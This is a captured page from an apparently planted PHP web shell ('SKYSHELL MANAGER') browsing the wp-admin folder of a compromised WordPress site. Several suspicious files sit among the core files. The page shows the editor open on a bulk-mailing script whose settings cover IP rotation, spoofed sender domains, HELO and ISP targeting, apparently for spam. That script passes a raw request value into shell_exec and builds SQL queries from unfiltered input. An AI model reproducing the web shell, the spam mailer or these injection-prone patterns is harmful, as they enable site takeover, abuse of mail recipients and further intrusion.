📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index_update.php
<?php include_once "connect.php"; session_start(); $key=$_REQUEST['key']; $eid=$_REQUEST['eid']; $iparray=$_REQUEST['Array1']; $emailarray=$_REQUEST['Array2']; $mode=$_REQUEST['mode']; $from_name=$_REQUEST['from_name']; $from=mysql_escape_string($_REQUEST['from_name']); $subject=mysql_escape_string($_REQUEST['sub']); $fromalias=mysql_escape_string($_REQUEST['fromalias']); $fdomain=mysql_escape_string($_REQUEST['fdomain']); $bdomain=mysql_escape_string($_REQUEST['bdomain']); //$replyto=mysql_escape_string($_REQUEST['replyto']); $helo=mysql_escape_string($_REQUEST['helo']); $mail_from=mysql_escape_string($_REQUEST['mfrom']); $testemail=mysql_escape_string($_REQUEST['textfield27']); $track_id=$_REQUEST['track_id']; $data_file=$_REQUEST['data_file']; $content_type=$_REQUEST['texttype']; $mtatype=$_REQUEST['mtatype']; $limit=$_REQUEST['limit']; $sleep=$_REQUEST['sleep']; $chooseHeader=$_REQUEST['ChooseHeader']; $ipset=$_REQUEST['set_dropdown']; $test_count=$_REQUEST['test_count']; $test_process=$_REQUEST['test_process']; $test_mode=$_REQUEST['test_mode']; $url_pattern=$_REQUEST['url_pattern']; $test_mode_limit=$_REQUEST['test_limit']; $message_type=$_REQUEST['msg_type']; $listid_domain_cycle=$_REQUEST['listid_domain_cycle']; $negativearea=$_REQUEST['negativearea']; if(empty($listid_domain_cycle)){$listid_domain_cycle=0;} $listid_file_flag=trim($_REQUEST['listid_file_flag']); if($listid_file_flag==0) { $listid_domains=explode("\n",$_REQUEST['listid_domains']); $listid_domains=implode(",",$listid_domains); $yahoolistid=trim($listid_domains); }else{ $lids=trim($_REQUEST['listid_domains']); if(count(explode("\n",$lids)) > 1){ echo "<font color='brown'>Please Enter list id file name only..</font>"; exit; } if(!file_exists("$DATA_FILE_PATH/$lids")){ echo "<font color='brown'>Entered list id file is not found..</font>"; exit; } $listid_domains=$lids; } $listid_flag=$_REQUEST['listid_flag']; $process_type=$_REQUEST['process_type']; $queue_limit=$_REQUEST['queue_limit']; $listid_process=$_REQUEST['listid_process']; $type_2=$_REQUEST['type_2']; if(empty($type_2)){$type_2=0;} $type_3=$_REQUEST['type_3']; if(empty($type_3)){$type_3=0;} $type_2_value=$_REQUEST['type_2_value']; $type_3_value=$_REQUEST['type_3_value']; $img_pattern=$_REQUEST['img_pattern']; $img_path=$_REQUEST['img_path']; $offer_img=$_REQUEST['offer_img']; $opt_img=$_REQUEST['opt_img']; $mail_mode=trim($_REQUEST['mail_mode']);# for mail test $schedule_flag=trim($_REQUEST['schedule_flag']); $priority=trim($_REQUEST['priority']); $ppid=trim($_REQUEST['prv_process_id']); if(empty($testemail)){$test_email=$emailarray;} else{ $test_email=explode(",",$testemail); } if(empty($iparray) || empty($test_email)) { $e="WARNING : You haven't selected IPs or Test Mails... "; echo "<font color='brown'> $e</font>"; exit; } $wc=shell_exec("wc -l $DATA_FILE_PATH/$data_file"); if(empty($wc) || $wc==0 ) { $e="WARNING : You haven't mentioned Data file or Your Data file is Empty... "; echo "<font color='brown'> $e</font>"; exit; } $res=mysql_query("select isp,accounts,offername,offer_id,stat_id,reply_to from wmail.mprocess where track_id='$track_id'",$link1); if(mysql_num_rows($res) > 0){ $rows=mysql_fetch_assoc($res); $value=implode("|",$rows); }else{ $value=trim(file_get_contents("$local_server/common_file.php?key=6&tid=$track_id")); } list($isp,$account,$offer,$offerid,$stat_id,$groupid)=explode("|",$value); if (!in_array($isp, $all_isp)) { echo "<font color='brown'>Invalid Webxid OR ISP..</font>"; exit; } if($content_type=='multipart') { $hrd_msg=$_REQUEST['hrd_msg']; $mltp_msg=$_REQUEST['mltp_msg']; $htm_msg=$_REQUEST['htm_msg']; $pln_msg=$_REQUEST['pln_msg']; $message=$hrd_msg."\r\n".$mltp_msg; $message=trim(preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $message)); // To Remove Empty Line in headers $message=str_replace("{html_message}",$htm_msg,$message); $message=str_replace("{text_message}",$pln_msg,$message); $message=mysql_escape_string($message); $actual_header=mysql_escape_string($hrd_msg); $multipart=mysql_escape_string($mltp_msg); $html_message=mysql_escape_string($htm_msg); $plain_message=mysql_escape_string($pln_msg); $disp_msg="<tr><td>Header</td><td><pre>$hrd_msg</pre></td></tr> <tr><td>Multipart</td><td><pre>$mltp_msg</pre></td></tr> <tr><td>Plain Message</td><td><pre>$htm_msg</pre></td></tr> <tr><td>Html Message</td><td><pre>$pln_msg</pre></td></tr>"; } else { $message=$_REQUEST['message']; $header=$_REQUEST['header']; $header=trim(preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $header)); // To Remove Empty Line in headers $message=$header."\r\n".$message; $message=mysql_escape_string($message); $actual_header=mysql_escape_string($_REQUEST['header']); $html_message=mysql_escape_string($_REQUEST['message']); $disp_msg="<tr><td>Header</td><td><pre>".$_REQUEST['header']."</pre></td></tr> <tr><td>Html Message</td><td><pre style='height:250px;overflow-y:auto;'>".$_REQUEST['message']."</pre></td></tr>"; } if($key==2) { if($schedule_flag==1) { if(!$priority) { echo "<font color='brown'>WARNING : You can't leave Priority empty. </font>";exit; } if($priority==1) { if(empty($ppid)){ echo "<font color='brown'> pls kindly provide process id!... </font>"; exit; } $res=mysql_query("select flag from wmail.mprocess where flag in (1,2,3) and process_id='$ppid' ",$link1); if(mysql_num_rows($res)==0 ) { echo "<font color='brown'>WARNING : You haven't mentioned running process id or process id is not a valid id... </font>"; exit; } } $flag=4; }else{ $flag=1; } $data_file=trim($data_file); $ipcount=count($iparray); $iparray=implode(",",$iparray); $test_email=implode(",",$test_email); if($schedule_flag!=1) { $resp=mysql_query("select emp_id,process_id from wmail.mprocess where file_name='$data_file' and flag in (1,2) ",$link1); if(mysql_num_rows($resp) > 0) { $temp=mysql_fetch_array($resp); $ceid=ucfirst($temp[0]); ##echo "<font color='brown' >$ceid already has that data file. Try another.. </font>"; ## Newly Added echo "<p id='pres'>Process Already Running. <b>PID : $temp[1]</b></p> <span class='btn' title='Click to Kill The Process'> <span id='mail_process_resp' > <span class='label label-info' onclick='killNewProcess(\"$temp[1]\")' >Started</span> </span> <a class='btn btn-mini content-refresh' href='#' onclick='refreshSingleProcess(\"$temp[1]\")'><i class='icon-refresh'></i></a> </span>"; exit; } } //$res1=mysql_query("update wmail.mprocess set flag =3 where file_name='$data_file'",$link1); /* $tet="INSERT INTO wmail.mprocess ( process_id,emp_id,isp,mode,iparray,emailarray,subject_line,from_line,from_alias,from_domain,reply_to,body_domain,mail_from,track_id,mta_type,helo,header,creative,file_name,maillimit,sleep,c_date,flag,actual_header,multipart,plain_message,html_message,ipset,content_type,test_count,test_process,test_mode,offername,offer_id,accounts,stat_id,ipflag,test_mode_limit,url_pattern,process_name,message_type,listid_domains,listid_domain_cycle,listid_flag,process_type,queue_limit,listid_process,type_2,type_2_value,type_3,type_3_value,img_pattern,img_path,offer_img,opt_img,listid_file_flag) VALUES (NULL,'$eid','$isp','$mode','$iparray','$test_email','$subject','$from','$fromalias','$fdomain','$groupid','$bdomain','$mail_from','$track_id','$mtatype','$helo','$chooseHeader','$message','$data_file','$limit','$sleep',now(),'$flag','$actual_header','$multipart','$plain_message','$html_message','$ipset','$content_type','$test_count','$test_process','$test_mode','$offer','$offerid','$account','$stat_id','1','$test_mode_limit','$url_pattern','Reg','$message_type','$listid_domains','$listid_domain_cycle','$listid_flag','$process_type','$queue_limit','$listid_process','$type_2','$type_2_value','$type_3','$type_3_value','$img_pattern','$img_path','$offer_img','$opt_img','$listid_file_flag')"; $file1="/var/www/html/WebXmail_RmT/WebX_Sendinfo/1"; $fsent=fopen($file1,"a+"); fputs($fsent,$tet); fclose($fsent); */ $fname="/var/www/html/Wxtemp/negative"; $file = fopen('/var/www/html/Wxtemp/negative',"w"); fwrite($file,$negativearea); fclose($file); $res=mysql_query("INSERT INTO wmail.mprocess ( process_id,emp_id,isp,mode,iparray,emailarray,subject_line,from_line,from_alias,from_domain,reply_to,body_domain,mail_from,track_id,mta_type,helo,header,creative,file_name,maillimit,sleep,c_date,flag,actual_header,multipart,plain_message,html_message,ipset,content_type,test_count,test_process,test_mode,offername,offer_id,accounts,stat_id,ipflag,test_mode_limit,url_pattern,process_name,message_type,listid_domains,listid_domain_cycle,listid_flag,process_type,queue_limit,listid_process,type_2,type_2_value,type_3,type_3_value,img_pattern,img_path,offer_img,opt_img,listid_file_flag) VALUES (NULL,'$eid','$isp','$mode','$iparray','$test_email','$subject','$from','$fromalias','$fdomain','$groupid','$bdomain','$mail_from','$track_id','$mtatype','$helo','$chooseHeader','$message','$data_file','$limit','$sleep',now(),'$flag','$actual_header','$multipart','$plain_message','$html_message','$ipset','$content_type','$test_count','$test_process','$test_mode','$offer','$offerid','$account','$stat_id','1','$test_mode_limit','$url_pattern','Reg','$message_type','$listid_domains','$listid_domain_cycle','$listid_flag','$process_type','$queue_limit','$listid_process','$type_2','$type_2_value','$type_3','$type_3_value','$img_pattern','$img_path','$offer_img','$opt_img','$listid_file_flag')",$link1); $op=mysql_insert_id(); if($res==TRUE ) { if(!$test_mode_limit > 1 ) { if($mode=='t' && $ipcount < 100 ) { file_get_contents("$local_server/cron_mailing.php?pid=$op&val=1"); } } if($mail_mode==1 && $schedule_flag !=1) { # for Test mail echo "<p id='pres'>Process Created successfully. <b>PID : $op</b></p> <span class='btn' title='Click to Kill The Process'> <span id='mail_process_resp' > <span class='label label-info' onclick='killNewProcess(\"$op\")' >Started</span> </span> <a class='btn btn-mini content-refresh' href='#' onclick='refreshSingleProcess(\"$op\")'><i class='icon-refresh'></i></a> </span>"; }elseif($schedule_flag==1) { $off=mysql_query("update WebXmail.process_schedule set process_id =$op ,prv_process_id='$ppid' ,status=1 where priority='$priority'",$link1); if($off){ echo "<p id='pres'>Process successfully scheduled. <b>PID : $op , Priority:$priority</b></p>";}else { echo "<p id='pres'>Schedule process failed!..".mysql_error()."</p>"; } }else { # Normal mailing echo "<p id='pres'>Process Created successfully. <b>PID : $op</b></p>"; } } else { echo "<p style='color:brown;'>Record insertion failed. ".mysql_errno($link1) . ": " . mysql_error($link1) . ".</p>"; } }else { if($mode=='t'){$mode="Testing";} if($mode=='b'){$mode="Bulk";} if($mode=='d'){$mode="Domain Check";} $sty="style='background-color:#A6D786;color:blue;'"; echo " <div class='box'> <div class='box-title'> <h3> <i class='icon-table'></i> Mail Informations </h3> </div> <div class='box-content nopadding'> <table id='mail_info_table' style='width:100%' class='table table-hover table-nomargin'> <tr><td>IP</td><td><pre>$ips</pre></td></tr> <tr><td>Test Email </td><td><pre>$mailcontent</pre></td></tr> <tr><td>Mode</td><td>$mode</td></tr> <tr><td $sty>From Name</td><td $sty>$from_name</td></tr> <tr><td $sty>Subject</td><td $sty>$subject</td></tr> <tr><td>From Domain </td><td>$fdomain</td></tr> <tr><td>Body Domain</td><td>$bdomain</td></tr> <tr><td>Helo</td><td>$helo</td></tr> <tr><td>Mail From</td><td>$mail_from</td></tr> <tr><td>Trcak Id</td><td>$track_id</td></tr> <tr><td>Data File</td><td>$data_file</td></tr> <tr><td $sty>Text Type</td><td $sty>$content_type</td></tr> <tr><td>MTA</td><td>$mtatype</td></tr> <tr><td>TestCount</td><td>$test_count</td></tr> <tr><td>Test Mode</td><td>$test_mode</td></tr> <tr><td>Test Process</td><td>$test_process</td></tr> <tr><td>Limit</td><td>$limit</td></tr> <tr><td>Sleep</td><td>$sleep</td></tr> <tr><td>Header Name</td><td>$chooseHeader</td></tr> $disp_msg </table> </div> </div> "; } ?> <style>#mail_info_table td{padding:0;} </style>
Save